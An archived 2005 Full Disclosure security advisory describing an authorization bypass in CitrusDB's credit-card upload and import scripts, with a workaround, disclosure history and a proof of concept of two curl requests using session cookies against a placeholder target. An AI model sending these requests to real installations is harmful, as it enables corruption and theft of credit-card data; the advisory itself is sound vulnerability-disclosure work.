Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Advisory: Upload Authorization bypass in CitrusDB
From: Maximillian Dornseif <dornseif () informatik rwth-aachen de>
Date: Mon, 14 Feb 2005 22:31:11 +0100

              Advisory: Upload Authorization bypass in CitrusDB

A group of students at our lab called RedTeam found an authorization bypass vulnerability in CitrusDB which results in upload of fake credit card data, SQL-Injection and disclosure of credit card data.

Details
=======

Product: CitrusDB
Affected Version: 0.3.6 (verified), probably <=0.3.6
Immune Version: none (2005-01-30)
OS affected: all
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: http://www.citrusdb.org
Vendor-Status: informed
Advisory-URL:
http://tsyklon.informatik.rwth-aachen.de/redteam/advisories/rt-sa-2005 -003
Advisory-Status: public
CVE: CAN-2005-0409
(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0409#)

Introduction
============

Description from vendor:
"CitrusDB is an open source customer database application that uses PHP and a database backend (currently MySQL) to keep track of customer information,
services, products, billing, and customer service information."

In the credit card data upload/import scripts it is only checked whether or
not a user is logged in but no privilege check is done.

More Details
============

In ./citrusdb/tools/importcc.php and ./citrusdb/tools/uploadcc.php no
authorization is done. Any logged in user (or in combination with
CAN-2005-0408 anybody) may upload a cvs file containing credit card data. He
also gets knowledge of the path to the temporary file that stores the
uploaded credit card data and may fetch additional uploaded credit card data (compare CAN-2005-0229) if the file is accessible via http. Additionally he
may perform an SQL-Injection (compare CAN-2005-0410).

Proof of Concept
================

This uploads the file exploit.cvs.

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form
userfile= () exploit cvs --form Import=Import

Note: The cookie has to be adjusted to an existing user.

This imports the file to the credit card database:

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor"
"http://<target>/citrusdb/tools/index.php?load=importcc&submit=on"

Note: The cookie has to be adjusted to an existing user.
No data will be imported if the cvs file is empty, the administrator probably wouldn't notice that the temporary file is now empty but the attacker gets the path to the temporary file and may access data that is uploaded in the
future if the path is inside document root (see CAN-2005-0229).
An SQL-Injection is also possible (see CAN-2005-0410)

Workaround
==========

Disable the upload of cvs data, e.g. by setting the path for the temporary
cvs file ($path_to_ccfile) to a non-writeable directory.

Fix
===

n/a

Security Risk
=============

The security risk is high because an attacker may corrupt important (credit
card) data and an attack is very easy to perform.

History
=======

2005-02-04 Email sent to author
2005-02-12 CVE number requested
2005-02-14 posted as CAN-2005-0409
RedTeam
=======

RedTeam is a penetration testing group working at the Laboratory for
Dependable Distributed Systems at RWTH-Aachen University. You can find more
Information on the RedTeam Project at
http://tsyklon.informatik.rwth-aachen.de/redteam/


--
Laboratory for Dependable Distributed Systems, RWTH Aachen University
Get news of the lab at http://mail-i4.informatik.rwth-aachen.de/mailman/listinfo/lufgtalk

Attachment: smime.p7s
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  By Date           By Thread  

Current thread:
  • Advisory: Upload Authorization bypass in CitrusDB Maximillian Dornseif (Feb 14)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault